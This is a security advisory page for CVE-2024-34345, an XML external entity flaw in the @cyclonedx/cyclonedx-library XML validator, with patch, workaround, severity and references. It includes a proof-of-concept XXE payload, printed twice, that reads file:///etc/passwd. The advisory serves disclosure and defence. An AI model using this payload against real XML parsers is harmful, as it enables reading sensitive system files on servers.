GHSA-38GF-RH2W-GMJ7

Vulnerability from github – Published: 2024-05-08 19:55 – Updated: 2024-05-14 20:01
VLAI
Summary
@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability
Details

Impact

XML External entity injections could be possible, when running the provided XML Validator on arbitrary input.

POC

const {
  Spec: { Version },
  Validation: { XmlValidator }
} = require('@cyclonedx/cyclonedx-library');

const version = Version.v1dot5;
const validator = new XmlValidator(version);
const input = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poc [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<bom xmlns="http://cyclonedx.org/schema/bom/1.5">
  <components>
    <component type="library">
      <name>testing</name>
      <version>1.337</version>
      <licenses>
        <license>
          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->
        </license>
      </licenses>
    </component>
  </components>
</bom>`;

// validating this forged(^) input might lead to unintended behaviour
// for the fact that the XML external entity would be taken into account.
validator.validate(input).then(ve => {
  console.error('validation error', ve);
});

Patches

This issue was fixed in @cyclonedx/cyclonedx-library@6.7.1.

Workarounds

Do not run the provided XML validator on untrusted inputs.

References

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@cyclonedx/cyclonedx-library"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.7.0"
            },
            {
              "fixed": "6.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "6.7.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34345"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-611"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-08T19:55:37Z",
    "nvd_published_at": "2024-05-14T15:38:40Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nXML External entity injections could be possible, when running the provided XML Validator on arbitrary input.\n\n#### POC\n\n```js\nconst {\n  Spec: { Version },\n  Validation: { XmlValidator }\n} = require(\u0027@cyclonedx/cyclonedx-library\u0027);\n\nconst version = Version.v1dot5;\nconst validator = new XmlValidator(version);\nconst input = `\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003c!DOCTYPE poc [\n  \u003c!ENTITY xxe SYSTEM \"file:///etc/passwd\"\u003e\n]\u003e\n\u003cbom xmlns=\"http://cyclonedx.org/schema/bom/1.5\"\u003e\n  \u003ccomponents\u003e\n    \u003ccomponent type=\"library\"\u003e\n      \u003cname\u003etesting\u003c/name\u003e\n      \u003cversion\u003e1.337\u003c/version\u003e\n      \u003clicenses\u003e\n        \u003clicense\u003e\n          \u003cid\u003e\u0026xxe;\u003c/id\u003e\u003c!-- \u003c\u003c XML external entity (XXE) injection --\u003e\n        \u003c/license\u003e\n      \u003c/licenses\u003e\n    \u003c/component\u003e\n  \u003c/components\u003e\n\u003c/bom\u003e`;\n\n// validating this forged(^) input might lead to unintended behaviour\n// for the fact that the XML external entity would be taken into account.\nvalidator.validate(input).then(ve =\u003e {\n  console.error(\u0027validation error\u0027, ve);\n});\n```\n\n### Patches\n\nThis issue was fixed in `@cyclonedx/cyclonedx-library@6.7.1 `.\n\n\n\n### Workarounds\n\nDo not run the provided XML validator on untrusted inputs.\n\n### References\n\n* issue was introduced via \u003chttps://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063\u003e.  \n",
  "id": "GHSA-38gf-rh2w-gmj7",
  "modified": "2024-05-14T20:01:46Z",
  "published": "2024-05-08T19:55:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/CycloneDX/cyclonedx-javascript-library/security/advisories/GHSA-38gf-rh2w-gmj7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34345"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CycloneDX/cyclonedx-javascript-library/commit/5e5e1e0b9422f47d2de81c7c4064b803a01e7203"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/CycloneDX/cyclonedx-javascript-library"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.